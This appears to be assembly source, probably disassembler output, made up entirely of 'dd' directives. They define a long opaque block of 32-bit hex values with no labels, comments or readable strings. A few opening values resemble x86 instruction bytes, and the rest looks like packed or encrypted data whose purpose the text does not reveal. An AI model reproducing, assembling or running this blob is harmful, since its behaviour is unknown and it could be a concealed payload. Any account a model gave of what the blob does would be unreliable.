		dd 64980908h, 73C6832Bh, 18FE0008h, 5E5FA472h, 0C306C95Bh
		dd 424548Bh, 0EC7CECE0h, 0CE830E10h, 744385FFh,	0CB7B921h
		dd 8A035302h, 23DE8B02h, 33D990C1h, 7BEEEAC3h, 85040D08h
		dd 0F0E4C020h, 4F0F42F0h, 0C05BE675h, 0D0F75FC6h, 0A6C3505Eh
		dd 0D4DB6733h, 0F0ADE6E8h, 2404C70Ah, 74479268h, 3FF1477h
		dd 77D3C9E8h, 59F83724h, 26753098h, 0EB38C033h,	0E854E143h
		dd 2990B255h, 8AF639F0h, 0A257EC74h, 1E448D03h,	500C06FFh
		dd 2ED08EE8h, 10C48303h, 0A00C47F6h, 0C64BD874h, 2FF6E51h
		dd 0E0F78BECh, 32CFB8C5h, 0ABDFC557h, 0C38B1F45h, 1A24AA5Dh
		dd 408A819Ch, 56929C02h, 57CC1506h, 255048FAh, 0A12C633h
		dd 0ECD0810h, 1020CE10h, 0D01048CFh, 2BD1100Bh,	100CD210h
		dd 0D41023D3h, 27D5103Ah, 1028D610h, 0D8105ED7h, 1ED9102Ah
		dd 102DDA10h, 0DC105ADBh, 0FDD101Bh, 104CDE10h,	0E01044DFh
		dd 4E11016h, 3157E210h,	11E481E3h, 153E501h, 0E70138E6h
		dd 0DE80113h, 112E901h,	0EB0125EAh, 30EC011Ch, 2110ED03h
		dd 0EF1050EEh, 39F0104Fh, 1010F110h, 0F31042F2h, 37F4101Fh
		dd 101DF510h, 0F71041F6h, 2CF81055h, 0FA19F933h, 58FB1100h
		dd 0E8FC5D88h, 0E5AA507Ah, 8B8E7BEh, 0C845890Ah, 0C48504DAh
		dd 530282FEh, 0D2A41A40h, 0C01D1083h, 0A896C8FDh, 4E1C4809h
		dd 5361B938h, 40058488h, 0C13B4026h, 39F47201h,	1E74145Dh
		dd 7DBB30BDh, 1027592h,	10558B10h, 4717E48Ah, 594881Ah
		dd 0E6211072h, 4A1A4CEBh, 20C83C64h, 623D448Ah,	358438CCh
		dd 0D3B4610h, 89E872F1h, 0B82C927Ah, 0A8BF023h,	3D8C8A14h
		dd 0B48D0E19h, 1C7E5DF4h, 80DA0316h, 47C823CBh,	143F4D89h
		dd 8D76D081h, 30D8C21h,	1E88198Ah, 0CE721190h, 7B0672D2h
		dd 0C0EE890Ch, 45761006h, 0F8682347h, 1147383Eh, 239A3028h
		dd 0F31D8BD8h, 43E07589h, 19646635h, 791075C4h,	98097716h
		dd 0CA0337A1h, 0BAF347AEh, 0E30404Fh, 5D6C3B43h, 4C723A90h
		dd 0E6D48FBBh, 695CC8h,	5FCC35EEh, 20158045h, 0EB4314Ch
		dd 18A537E8h, 822FE017h, 1D8B0610h, 4F534C1Ch, 0CA646A0Fh
		dd 263B8AD3h, 0F0161210h, 6FE82702h, 8CA88FD1h,	32AC1844h
		dd 611D565Eh, 1814352Ah, 0BE297F87h, 850AC004h,	5680DFA4h
		dd 0B845C750h, 0AE526C3Ch, 2BDCD80Eh, 33C06614h, 6248A2DCh
		dd 0FEA84097h, 51EE7F13h, 0A4BD0F44h, 37F495EFh, 286A2C98h
		dd 248459B2h, 8A4008F9h, 14749F82h, 5A608292h, 35378BF0h
		dd 0D6B6233Ch, 0AF46F16h, 0C71045A0h, 0BDCDB080h, 3D30D338h
		dd 0A3643424h, 88C4C19h, 258A3871h, 120DE9EAh, 0B889868h
		dd 0E8050539h, 0BF907F17h, 0A32DC0A3h, 498B4D9h, 21094584h
		dd 0CC905E5h, 0F406F81Ch, 0C0FCAFA1h, 0C4B14013h, 8E35E032h
		dd 2589E53Ch, 7CF00719h, 0D20C330Ch, 1E03E8B9h,	0A3F11BF7h
		dd 204089C4h, 0D76E12FFh, 88BCC6A5h, 26A322Ah, 444834EEh
		dd 75653068h, 0AA93A8DFh, 66248E53h, 0E507178h,	493D7444h
		dd 3A580B02h, 0E6909F91h, 0EF78010h, 32026850h,	20F87322h
		dd 850FC33Bh, 1C04FE31h, 1A43BD80h, 0EB1A2202h,	8A787690h
		dd 3C1F8166h, 5CDB4521h, 0FC421466h, 18845452h,	46DF26FDh
		dd 16442A70h, 0C1FB1436h, 0F910220Eh, 49255352h, 0D83010E6h
		dd 68811C46h, 0BE43FA4Ch, 45A17627h, 0D288DEE8h, 34946F60h
		dd 0D67D2698h, 3012E491h, 30838910h, 1D39FDA9h,	0BEDEA890h
		dd 0B39940Ch, 0A0803174h, 0A71DE8FFh, 49741DDh,	0C237609h
		dd 3D6A5710h, 0F780991Ah, 0C28056F9h, 97508861h, 0E8144725h
		dd 8121A6FCh, 0DD72F83Bh, 1062BC4Ah, 6803FE1Ch,	0C4F96254h
		dd 1011D4CBh, 0C1121449h, 0F883226Ch, 4C12EBE1h, 0ECD08026h
		dd 0A1229ED8h, 0EC16648Ch, 2022EB32h, 0FB3B2060h, 56C32D75h
		dd 73057420h, 0C323F40Ah, 3A986830h, 91475820h,	3C3E21B9h
		dd 0B194C9D2h, 0C9294C49h, 10BAA465h, 0D592977h, 5D076A0Ah
		dd 0E4E41169h, 0CE8B02E2h, 0DC208518h, 32E7A638h, 89227A23h
		dd 840F89B5h, 0F0D046E9h, 0C92C85C7h, 0B62C3819h, 408A4C2Ch
		dd 0D9509DE2h, 175C8C0Fh, 846856A2h, 0D6921083h, 8D849358h
		dd 0F0517C0Ah, 407C0FECh, 5C5368F6h, 0D3D410F7h, 0F2E9148Dh
		dd 9CBC6C93h, 9B0537Ah,	9A2BECD0h, 9B1696FAh, 6828840Eh
		dd 640F94C8h, 0E4AB82E2h, 0E81A15C7h, 4DB76C0Ah, 83816353h
		dd 8133C83Dh, 437E020Ch, 1180CCA1h, 0E80470FFh,	0F4A8D013h
		dd 6A48F08Bh, 9A944980h, 203D080Fh, 8583980h, 2B681974h
		dd 215B07D0h, 1C089935h, 0F5081554h, 37749F94h,	0E5A2E910h
		dd 306C0D75h, 0F8B1C380h, 2A460CD5h, 6871BD64h,	0D2FED5A6h
		dd 12495381h, 9F223951h, 310DA0A1h, 0A842C118h,	0B40CB34h
		dd 0B240EC53h, 25E80AB4h, 621C01CDh, 3BA48468h,	0B92939C4h
		dd 229EE61Ch, 0C9B03851h, 2DE6F63Dh, 760EF86Ch,	41A62C89h
		dd 69D7405Bh, 3BB234F6h, 89173598h, 0C144D486h,	0FD81B75h
		dd 4351A650h, 0CA7322A8h, 51810C84h, 0A8C71440h, 24A0D073h
		dd 39495970h, 2D6C7594h, 4665E8C8h, 81027E2Ch, 82140C68h
		dd 3DD3782Ah, 5C780B29h, 4B835998h, 789ED1AAh, 2641C82Eh
		dd 1C1F646h, 0E0837F6Ah, 25C46803h, 74CCD54Bh, 3449A343h
		dd 7B604CAEh, 0C070A180h, 0BF3F6A29h, 43BA2E4Ch, 5719D861h
		dd 1C421CA3h, 0BE2E2C61h, 0E0228C42h, 4FE85618h, 6C1D8925h
		dd 24C43B20h, 0FC4CB5B8h, 22936C0Eh, 32E88930h,	58084C19h
		dd 0AB84192Bh, 14503913h, 62FF0374h, 0BB8484Dh,	0E4AC3265h
		dd 617D830Eh, 39C87C06h, 5174F070h, 8D0E903Ah, 0CBF5E80Ah
		dd 83345A88h, 21CBDE21h, 62D19F7Eh, 83EB74C1h, 64F31D38h
		dd 897AD423h, 0C28CBE2Fh, 7444AFC8h, 461CFC62h,	0F1041098h
		dd 0C7848B88h, 1CB4F445h, 833661E9h, 2D9EBEE8h,	5E5FC579h
		dd 0C95BF3C0h, 0B93FB0C2h, 47901BA1h, 560845C0h, 596A5713h
		dd 0BD8DB842h, 0F30AC870h, 80C71AA5h, 3E093160h, 24EB9544h
		dd 0CA43D972h, 0F5AC6637h, 0AC169702h, 3041889Ah, 0F2FD9731h
		dd 42748520h, 93981AFEh, 24F5AC5Eh, 0E8B5A2F4h,	0C81C6A8Bh
		dd 9E44D476h, 1B0B105Bh, 4BA435FFh, 63A0B361h, 99662E0Dh
		dd 0FAF8F730h, 91C069CCh, 1B6A02F1h, 0F04AD805h, 0CE54F350h
		dd 6A39286Bh, 0F5947806h, 9B410891h, 100F280Ah,	537AB089h
		dd 5F9ADB52h, 0B53305Bh, 1C752407h, 5563CCC9h, 6633873Ah
		dd 513AE9C5h, 68C4A3FFh, 0E83DD048h, 154400Fh, 14A6C8C1h
		dd 91610FDFh, 0B5277F34h, 281A1370h, 0A11CF41Ch, 0F22C3E48h
		dd 21A7288Ah, 0E8859D5Eh, 37E967DCh, 7501F083h,	0A01C6807h
		dd 0EB0F0DBBh, 4BD39298h, 0AA2B61D4h, 24A9E8CCh, 57245968h
		dd 62286558h, 5C04044Bh, 6690F6EBh, 0D21A90B8h,	0D4EF042Ah
		dd 330FF401h, 36ADB13h,	20C40D86h, 5909FD40h, 48051888h
		dd 4875497Bh, 2C26EFF6h, 6815424Dh, 0AABD078Eh,	9A10B6A9h
		dd 76AD3DE2h, 0E0C46416h, 37991DB0h, 45982F08h,	60A44A10h
		dd 68344CB2h, 0DC137458h, 0EC64CE57h, 2153174Ch, 8614B2A0h
		dd 0A052B626h, 2BD849C1h
		dd 1CDA1BCFh, 8868CF30h, 0A4281348h, 0BA88AC13h, 0B910E0BEh
		dd 0E5700850h, 0E38B972Eh, 8683AC8h, 4821BE11h,	0E950A011h
		dd 2DCD667Eh, 1D84B9F5h, 6E6558C6h, 91B798E3h, 89362601h
		dd 4D88B57Eh, 32CF2E1Fh, 0E3CA246Ah, 0C0499252h, 43FB9072h
		dd 0BD202A93h, 141006C8h, 3709570Ch, 6D184DE8h,	0ED90482Ch
		dd 7EF33B09h, 1C41E0Dh,	0FE83BDEBh, 0BB2974FDh,	1C41750Ah
		dd 924F8352h, 0C76868FAh, 0C8B6604h, 7C0DE03Bh,	2543E999h
		dd 6640C402h, 5827A1EEh, 11A92EE1h, 5D88087Ch, 20D2A1BBh
		dd 570241DCh, 0C8829A81h, 19C71EDFh, 0A0034D5Ch, 0F073B1EFh
		dd 1B589D34h, 0FC33A8E2h, 43093C18h, 0A6C7E5E8h, 315C1BB9h
		dd 7535FCC8h, 34E34218h, 60F30F46h, 84A008DAh, 6DE159DCh
		dd 0BB7810DCh, 4E57BACCh, 56550EA4h, 9229ACEh, 68101057h
		dd 91A09190h, 0D1B5598h, 221C3924h, 0E1E808B5h,	194C01C7h
		dd 28945468h, 33DB4030h, 34CC84FDh, 59868947h, 0F78B0CF1h
		dd 53339668h, 1417E822h, 14B58489h, 0E594612h, 7C822007h
		dd 0EAA8BE6h, 208E202Eh, 39267EB2h, 184CCB9Dh, 6C6889A6h
		dd 0A08582EDh, 1C9E99F6h, 6AC74015h, 8C8D5A1Fh,	1559554h
		dd 7404A990h, 2D388026h, 58439B87h, 0F1FA802h, 17001BEh
		dd 84C61989h, 0AA314735h, 9C0E4957h, 678584Fh, 79054A02h
		dd 139D38CAh, 0EA6023A1h, 0F87D3289h, 6110E16h,	0E7582922h
		dd 0A3E800Fh, 9E8D356Bh, 3CF2C1D2h, 0C71384DDh,	0B704464Bh
		dd 0FFE68817h, 42F3E889h, 68140C25h, 94DCE098h,	20878CDAh
		dd 1F9CF656h, 0D97EB2FCh, 446C2B96h, 61BEA4B5h,	684F7AC6h
		dd 5FE33A4h, 7DE4E80Ch,	0A8289DC8h, 0B01839BAh,	1DCF6963h
		dd 0B0683230h, 0C34521A6h, 51E90C34h, 401629B4h, 23C042AEh
		dd 6C0DA85Bh, 0C42A3758h, 0DF464284h, 88C89061h, 9275E731h
		dd 5683CC68h, 8D1F7CB5h, 0CC26EBE8h, 21DA56CDh,	689F6840h
		dd 92D9420h, 18C632E8h,	0A942E94Ah, 0EF08D042h,	2D17D847h
		dd 24E16953h, 8329E831h, 583CB394h, 21B047FBh, 0E91C8413h
		dd 0C42404h, 0FD388081h, 6B9BF18h, 762C462Bh, 8D529D95h
		dd 9522440Ah, 324895Dh,	2E8D1476h, 0E9D97514h, 7210E0A2h
		dd 0C7E88ED8h, 455448E1h, 38512C50h, 76741E12h,	537B983Ch
		dd 2248B7C5h, 742B7C22h, 0A329E65Ch, 6F622E45h,	88129044h
		dd 89A4B31Eh, 0B219E868h, 4D90288Eh, 0C233D0B5h, 0B0FC0868h
		dd 0E17C42D1h, 43F01B59h, 0A2D9913Ah, 2C4D28A9h, 517B688Fh
		dd 42094A67h, 0A794D7CBh, 0C656A524h, 0C9AAD76Ah, 721B8948h
		dd 0F8244AA6h, 85C6CB7Bh, 28DC8041h, 5C9689FCh,	2F33335h
		dd 4439C38Bh, 0A140E299h, 300908E3h, 32912C4Dh,	39D76B62h
		dd 6A13483Ah, 97902150h, 0A090D65Ch, 0D8237424h, 27E5AC6h
		dd 4006C632h, 7CABA247h, 24035AD5h, 3CA15724h, 151825DEh
		dd 4D81627Fh, 60AC7508h, 0C2822CDDh, 94B99A3Bh,	5F0C5622h
		dd 0F6A150Dh, 29D20895h, 8C09C44Dh, 2E8B55D5h, 2E7207Dh
		dd 13741F38h, 0B01490BBh, 8031D6DBh, 81461174h,	605DA2C7h
		dd 1A7C03B0h, 5BA8E9DDh, 0F621A11Ch, 4F264BD5h,	26C5378Dh
		dd 99209B33h, 0D9F88B2Ch, 0DE0315C0h, 7EF2E8C3h, 70870040h
		dd 80C8FA6h, 3B07E6C1h,	13039003h, 91FC3068h, 68C8F5E6h
		dd 0BA148551h, 4A730AB5h, 0DB7AAA66h, 0E924C40Dh, 4842673Dh
		dd 4B4E1138h, 4022648Dh, 423A3D22h, 2CBA14B2h, 68F3FF12h
		dd 0A22210B9h, 0DE4C1E55h, 8F48A273h, 14D5493Eh, 418F6C97h
		dd 0F5C580E8h, 1537EAE8h, 0DA9309E4h, 1ADA87C7h, 824C6842h
		dd 2E389E31h, 54ABE922h, 2054CEC4h, 1C2488C5h, 38E95A06h
		dd 84FC6C68h, 68C82621h, 18371AC7h, 682812CCh, 8A484490h
		dd 5218C9A9h, 54632623h, 288B5974h, 90E69E22h, 0E91A9811h
		dd 0A40427B5h, 385B22A8h, 22C83274h, 284A44B0h,	8B88121h
		dd 8BC6A539h, 0CB4977B6h, 8D6D688Ch, 429019AAh,	501888BCh
		dd 73F35F84h, 3154043h,	324A9385h, 642E7C93h, 49B38045h
		dd 0A6240421h, 28BB10C8h, 209ECF0h, 4435BC8Dh, 0A5075071h
		dd 0EC8A8ACCh, 0D4BE0A2Ch, 3A4C27Bh, 35B4FF01h,	84D4E74Ch
		dd 251BA357h, 39AC8454h, 0D86793B2h, 9627CA1Eh,	80B43178h
		dd 0DC5B92E4h, 0C6F53131h, 7C433106h, 0E0106C21h, 7441DDC8h
		dd 84E48035h, 9251F3C3h, 4511E604h, 64128B0Ch, 0B0F514E4h
		dd 847BA91Bh, 6084B738h, 0FC3C19C1h, 27A40C02h,	30100FF8h
		dd 6F421E91h, 0E19EA752h, 53BD7F99h, 626A1248h,	92A11E1Ah
		dd 44647164h, 0B924086Eh, 20684570h, 2D2F6891h,	15D1116Bh
		dd 8B145C7Dh, 69171F8Dh, 81DB98C9h, 0F2D98384h,	25E90201h
		dd 14225F46h, 0D3A423FDh, 78077509h, 6E2FD92Ah,	3BF548BDh
		dd 6D56FB62h, 1C680352h, 11A44B48h, 5CBC74Eh, 51FCAC07h
		dd 48BD8D0Ch, 2AAA89D2h, 5CC8E1CCh, 9EC8BF3Fh, 4A3474C6h
		dd 2F4E1875h, 0AE06C534h, 0ED7897D2h, 3696D239h, 2F5F269Eh
		dd 0F7104C20h, 0C01B3BD8h, 0C80450F2h, 61C1915Ch, 2502E0C1h
		dd 5B4F0B0h, 0E8E2669Ch, 20AB9151h, 0D248F908h,	0E029A7AAh
		dd 0B3F80D5h, 0A11C7423h, 667C6DEAh, 19F1E808h,	3F0CE838h
		dd 572CF20Ch, 0FB1D2CE9h, 1036683Ch, 0FED9B3C3h, 84BBC2CDh
		dd 0C3117405h, 56FDC701h, 0BE451248h, 10C279B9h, 6A16FAE1h
		dd 1078D32h, 0E614DDh, 4AEBF074h, 68139833h, 7A2343E3h
		dd 6D160EE7h, 4C2B274Fh, 0DF3D680Ah, 69C4D008h,	0A7E988E0h
		dd 0E16F494Ch, 3412FDECh, 30798F96h, 0FDC56F99h, 2F1BF8E4h
		dd 0D01B0AE8h, 20DC3834h, 5811678Eh, 5AF42AD5h,	67237645h
		dd 84C11D10h, 5071D6F0h, 70101BD5h, 0BEF984D6h,	77FCF873h
		dd 76713CDh, 9157F88Ah,	0A260481Fh, 9041021Bh, 0F4013411h
		dd 43730AD6h, 65C711D5h, 0AD6F4A1h, 8A197584h, 0FE181128h
		dd 535F5210h, 0D7109C4Bh, 0FEE5E982h, 71A28596h, 512C2604h
		dd 44808811h, 7A9551Bh,	8A01488Dh, 98053A01h, 48892774h
		dd 0DE19140Fh, 203F2D4Fh, 47D3B4A5h, 2EE83DE0h,	5019D0EAh
		dd 2283736Fh, 0E82BBA30h, 5A9115D5h, 75175F56h,	0BCD7721Ah
		dd 29B32284h, 220E8144h, 2712D95Dh, 0B97F814h, 0A1FA481Dh
		dd 1968E91h, 280CC204h,	0E1AECF5Ch, 80E8454Fh, 15743330h
		dd 0B830C981h, 3B479B21h, 7C2C403Dh, 6961E9DFh,	0FEC0685Bh
		dd 28C43B7Ch, 2AC3F7C4h, 8A29AC32h, 690ABA0Dh, 880531FFh
		dd 0F260248h, 8D030D12h, 38B7588Fh, 0FD4992E0h,	6C6F0E51h
		dd 518D6EBDh, 0DE287087h, 0F10F462h, 28016A71h,	0B0357C8Dh
		dd 4FE38155h, 0FEC46809h, 0AFC20099h, 0FE601656h, 24C35FB7h
		dd 0D41BC81h, 81F3938h,	4164AC08h, 0F445C894h, 77F85E81h
		dd 4522DEFCh, 60C393E8h, 504D7495h, 9A883AA5h, 0EB0C4361h
		dd 3452717Eh, 26A1918h,	0E8086C43h, 0CEBCBF34h,	9D880C21h
		dd 3A5A506Eh, 186798E7h, 0B1104DF3h, 3F2104EFh,	578FAE01h
		dd 448D378Ah, 0FDBB22ADh, 4EF88B11h, 88CC21B6h,	0ECDBC1C0h
		dd 8B2F192Ch, 13150507h, 86015F38h, 7FC00C42h, 3C85C7B2h
		dd 9131FD5Ah, 0D928848Dh, 0F8A38C1h, 4C4E233Ah,	92392FF1h
		dd 36225437h, 18037E41h, 68087D8Bh, 0B2E958D0h,	160B909h
		dd 0D4545596h, 418AA712h, 0DC087809h, 139611A9h, 0FD2C8D53h
		dd 8A4836E8h, 0E4435A88h, 87837A22h, 1C757E05h,	1148F068h
		dd 0F8BF8A69h, 8A6210Bh
		dd 1441C23Eh, 5A6AF4E9h, 0FFB1AC8Dh, 0B82BA829h, 0AD51848h
		dd 0D3046A05h, 5274E850h, 6886FCBBh, 22C95106h,	43559C3h
		dd 20BD801Ch, 0A4097C30h, 7E390509h, 32036A16h,	3B180828h
		dd 8B295BBh, 0BD2C4810h, 7E834882h, 4511AC15h, 2388FD1Bh
		dd 14EB1FA5h, 63446D92h, 0A5FD606Ah, 20C28002h,	16889588h
		dd 10C14A29h, 4CE8826Dh, 109D9092h, 0CA0C4A6Ah,	0BA7A10AEh
		dd 0AF40664Dh, 0D9949506h, 0C40970BEh, 0ADFB14BAh, 5F6B0896h
		dd 458BF921h, 463851C1h, 0BF493B04h, 74645F98h,	0DC7E1F1Bh
		dd 0CA105734h, 0BA711070h, 0DB980CB2h, 1995CDC0h, 302A2070h
		dd 0E68476Fh, 0E8532FC2h, 848921A9h, 0F11354BDh, 526E7D86h
		dd 3B0882F2h, 0DDE440CBh, 0C183804Bh, 0CC89033Eh, 4CEE4C01h
		dd 84065999h, 1428CCE4h, 99486F42h, 0CF2B0659h,	6E21BF15h
		dd 0BA881C10h, 84207258h, 85A508EBh, 24C85D90h,	0AA2C9044h
		dd 2C211F42h, 95B27B10h, 66083019h, 0C8719085h,	2C514438h
		dd 3C42865Ch, 3D908575h, 274448C8h, 4286282Ch, 6212214Ch
		dd 58111EFAh, 0CB42FD08h, 5C64E588h, 0D3581827h, 6442841Dh
		dd 0BE90857Bh, 0C23D61DCh, 7464A9C8h, 9459B827h, 0F7847C0Ch
		dd 1C7A100Bh, 7F448888h, 4286652Ch, 896A238Ch, 0E16C2F75h
		dd 68066A0Dh, 0A4D5339Ch, 6591063h, 0CB6FFC2Ch,	8C762468h
		dd 0E9200A84h, 10404A19h, 552A8AB8h, 131AEFE2h,	0B91522D4h
		dd 0C40CDA15h, 751CE184h, 4F6A1556h, 6A08D5C4h,	94EB8CD8h
		dd 2384E84Ch, 1890CADAh, 0F46809A0h, 0E9FC4484h, 52236B6Ch
		dd 8144E00Ch, 3C90AB1h,	2133378Dh, 0E90B8A12h, 30902942h
		dd 48568888h, 2941E225h, 0C1911CEh, 5F428450h, 606892B7h
		dd 61097011h, 80290241h, 0C90A3611h, 294D080Dh,	0C7889810h
		dd 0D22A464h, 680E8415h, 11B822ACh, 84C40C9Eh, 51C9E421h
		dd 21C2110h, 7511E029h,	4284F00Ch, 4211B2BBh, 0C29021Ah
		dd 334C2401h, 9248DC1Ch, 68120856h, 34900128h, 40642388h
		dd 0C13A6922h, 9A79410Bh, 15772D42h, 0D5560C7Dh, 45314C28h
		dd 0CBCCF358h, 0E8570908h, 56624170h, 8F64CA52h, 52A8B01Eh
		dd 2674E38Ah, 208B1742h, 0A2884221h, 163FA131h,	0A0089468h
		dd 29134485h, 84ACD802h, 142ABC21h, 403F89F2h, 5784CCCDh
		dd 0D4881ED8h, 0F103FA2h, 0F488E468h, 4B34354h,	2046813h
		dd 0F2B1144Eh, 7FA11495h, 34214224h, 34741115h,	3D822153h
		dd 0C2150802h, 6AD16CBBh, 4702E904h, 0D078EDC8h, 0C824C735h
		dd 9181547Fh, 94524284h, 0FCA4E921h, 29402333h,	0A4C742EAh
		dd 44B09C08h, 7BE945C0h, 44D02948h, 61502BC1h, 0E429A1D8h
		dd 42865208h, 5A9821F0h, 4FC6C85h, 48030829h, 0B8146729h
		dd 5AC6F90h, 33D23DB0h,	70292810h, 23384286h, 8CFA646h
		dd 484516F3h, 59311508h, 84500CDEh, 0B1C81C42h,	7225C64h
		dd 219C4316h, 0C6F20A64h, 311FF17Dh, 787D024Ch,	84FB8310h
		dd 0C92B8842h, 8422E429h, 9C290845h, 0AC325A44h, 0CB0AA011h
		dd 2968080Bh, 3188C010h, 7722CC64h, 0F690023Ah,	8D81115h
		dd 4315AE62h, 10E021E1h, 19B6B24Dh, 853808F0h, 0F8C8A190h
		dd 762C2344h, 40C2286h,	61C80E42h, 0F9211464h, 36210AC5h
		dd 0E4882090h, 280C2159h, 0C4CF4284h, 322214EDh, 210BBA11h
		dd 883490D8h, 0CA159A5h, 90428440h, 44648CC8h, 43167B22h
		dd 104A212Eh, 1919B266h, 8551084Ch, 4413C688h, 163C2254h
		dd 5821B143h, 65B22710h, 12085C19h, 0C8509085h,	0C4FD4260h
		dd 0F6417530h, 465B5A9Eh, 2F68B80Ah, 88EE05FCh,	0E0A70FD6h
		dd 0B757E80Bh, 6A26C8E5h, 7FCB5092h, 87695310h,	0D879E91Ch
		dd 26575808h, 8EAB5240h, 11FCCEC4h, 9611B822h, 86E7155Ch
		dd 8121BC42h, 0F837AF64h, 9A2C6C44h, 77C84286h,	10968885h
		dd 4222CC44h, 21814316h, 0B22D10D0h, 8DC1953h, 3E908518h
		dd 344E0C8h, 8E7EF2Ch, 0EE2184E8h, 32DA44C3h, 0BD911ECh
		dd 0F4909A21h, 0AC5BC488h, 0AF11F832h, 8836210Bh, 9A900504h
		dd 0C1921B2h, 88858508h, 14440DEAh, 43167022h, 101821D5h
		dd 1996B25Bh, 85460824h, 28C88190h, 0E52C3144h,	30210C42h
		dd 0D0B21C10h, 7083419h, 0C89E9085h, 0C2F24240h, 21894314h
		dd 0B2DD1044h, 850195Bh, 469085C8h, 0B34454C8h,	0B42F22Ch
		dd 9E105C21h, 6419DDB2h, 0B18E8908h, 680AC017h,	7C89056Ch
		dd 0F71A22D6h, 29428811h, 0D10F3960h, 0D4412E08h, 1A75F85Dh
		dd 8C84EA28h, 84222905h, 9366CF10h, 1C2087F0h, 0F1285D89h
		dd 0A503EB0Ch, 0BBB5C317h, 0C7C3D440h, 852D9CA0h, 0A8682858h
		dd 88E80F03h, 6A9E39B4h, 83E8D0CCh, 7C8199CDh, 0C42E203Eh
		dd 7B7FF24h, 3317DB1h, 0DA30AF7Ch, 242D8805h, 0A6848B88h
		dd 998295B3h, 0D6821845h, 0D41140A2h, 0C152B308h, 168B84ADh
		dd 2BC12D1Dh, 562F85DCh, 18719BE8h, 743E1579h, 208284EEh
		dd 2C1D8988h, 0E6067EF3h, 0E343B3FAh, 2044DE56h, 689963F6h
		dd 8465EBD8h, 0D5E9140Ah, 8087063h, 0A0439006h,	0A10A4184h
		dd 2E081015h, 0C82C9085h, 2C194414h, 210942FAh,	0B2041020h
		dd 82819E5h, 88C042EFh,	22346492h, 7D4316DAh, 0C5103C21h
		dd 48192EB2h, 9085B008h, 444CC819h, 42A82C9Bh, 105C2107h
		dd 1993B286h, 85710864h, 10E1099Fh, 585C8870h, 428405F4h
		dd 62472178h, 0BC1304AEh, 43163222h, 118C2199h,	5575C41Dh
		dd 45947A9Ch, 0B2800206h, 5999720Ah, 70231C30h,	0D647BB1h
		dd 33130077h, 8254B822h, 214406B0h, 0F1E88435h,	0E9208EBFh
		dd 0A92253F4h, 0B76682B8h, 1A7BB1BFh, 22D413E6h, 515B9A2h
		dd 4784C40Ch, 1975128Dh, 0D02845E7h, 0C2E7C455h, 1DE90F63h
		dd 0F44254E8h, 74378E7Fh, 7042215h, 5E95248h, 0B0517827h
		dd 0AC8A98ACh, 0F46E97F0h, 0B381E812h, 0B80C79B4h, 895DC376h
		dd 334EA885h, 4730A688h, 0C3343CF1h, 2A27B6Ch, 539431A3h
		dd 26209FA7h, 107DA221h, 0F12C1024h, 31ACA8A3h,	111A786Ch
		dd 2CB8F12Ch, 0B3E9F9C2h, 789F764Ch, 2086F138h,	0A015EC46h
		dd 29B83F2h, 0C33A085Dh, 1A0A8ABAh, 0B3D6208h, 6807CA8Bh
		dd 0BC1E008h, 75361938h, 442832F6h, 5509894Eh, 0F84CBE20h
		dd 0B6A1F7Ch, 1E7FDAE8h, 0B8C87660h, 99DFC895h,	87D03F7h
		dd 0F43DC103h, 337E170Ah, 24EECC51h, 0B4444407h, 0E1A3B3B0h
		dd 200862B0h, 86D7E95Ah, 0F8D08D81h, 1D392D83h,	680D8210h
		dd 1BCC85C7h, 4415E956h, 448605B8h, 34120BCh, 4174A610h
		dd 0C828A2BFh, 48C0834Eh, 47180DF6h, 0BDCECCD8h, 0C949593h
		dd 40C784B4h, 0E00DE6E8h, 0F2441AEBh, 2037A18Ah, 0E1C11F5Ch
		dd 3651BD06h, 0D0B48DFCh, 641FE1Fh, 188083Eh, 34BDE1A5h
		dd 575F9F52h, 47FC9424h, 0AEFABD89h, 4A15986Ch,	8A88B02Ch
		dd 0FB01852Eh, 0BDA8F645h, 3E25661Ch, 8C5A0527h, 0F8852116h
		dd 644DFA2h, 31141715h,	0A0CD234Eh, 738B4F40h, 1433AA40h
		dd 359D38C0h, 0F306A07h, 1240B795h, 1DB0F88Bh, 109DBAF6h
		dd 4FB3B48h, 7E2F5D88h,	1C0CEC22h, 7814C61Eh, 22589B1Dh
		dd 0FE13D73Eh, 0FF032F45h, 0B14DBE0Fh, 127ACF3Bh, 32371516h
		dd 0B022C690h, 0D89E3891h, 13DC9A63h, 0B0C5D6F6h, 0DAAA224h
		dd 3A27E06Dh, 0DE83A43h, 680E16B1h, 602DB139h, 0BC4EB2E9h
		dd 0FB137FDCh, 0F8305488h, 0B0EDE841h, 610303Eh, 30489D88h
		dd 2E3AD010h, 11270AB8h
		dd 0FB5B064h, 8D8623EEh, 189B268Dh, 0C90BC45h, 96B4C8B8h
		dd 850A751h, 884407C0h,	0B71AECFh, 87AF101h, 0F8C0802Ch
		dd 0F7A00885h, 40CA9161h, 0F8C0100Fh, 868E65ACh, 82C215Fh
		dd 955F7011h, 8F19855Bh, 6064C417h, 1E401C6Ch, 1F834C59h
		dd 71920B25h, 104E9861h, 9B3A8FE9h, 0F8E442FDh,	98ACEB10h
		dd 0E9C5CEA6h, 539342Ch, 7C5A5EB8h, 147E8FC8h, 16A0680Ah
		dd 5794D322h, 53EEBFC4h, 12BBB6B3h, 4231D2B0h, 0F18AFABh
		dd 534E12ACh, 8B2DB5E3h, 3B241BC6h, 592749F3h, 21742A60h
		dd 7998D3B4h, 977CA165h, 227F56C9h, 0D4C084D5h,	9DC90C23h
		dd 0F86E6BCh, 5ECD93ACh, 5C8B19C4h, 0CE5BA82Bh,	0E7D54408h
		dd 0B0429848h, 8CD016D2h, 8845040h, 0AD4B2184h,	6D0505C4h
		dd 84D4AD79h, 0AC28D4B8h, 6F11D243h, 0D4B8A120h, 0B3F48C1Bh
		dd 242324E9h, 0D5B2D338h, 49C6E910h, 0BC211B33h, 23BCCA4h
		dd 7DE85714h, 4FAF7CA9h, 7216096Ch, 5EBC88Bh, 0EA8051A1h
		dd 86400D4Ah, 32C94138h, 3C042216h, 1EC8940Fh, 454C2664h
		dd 7C921174h, 409055C8h, 6FD9AC8Bh, 22882B70h, 6812B00Ch
		dd 64EF7124h, 13B4F91Dh, 47B8FB38h, 42B00CC4h, 5DAF2FE8h
		dd 3C0C89B2h, 7E40601Eh, 5BC1880h, 595C1B33h, 22177557h
		dd 6B88FE49h, 97B9319Ch, 522C318Bh, 8907C507h, 4569A8F7h
		dd 0ADE108A0h, 7D32F847h, 0A4D04AFCh, 1624C967h, 44090D43h
		dd 9682519h, 364930BEh,	48F2705Dh, 930A19Ah, 0AB48D608h
		dd 203E275h, 201177F8h,	0AC94001h, 0C2C5A810h, 1E40FA20h
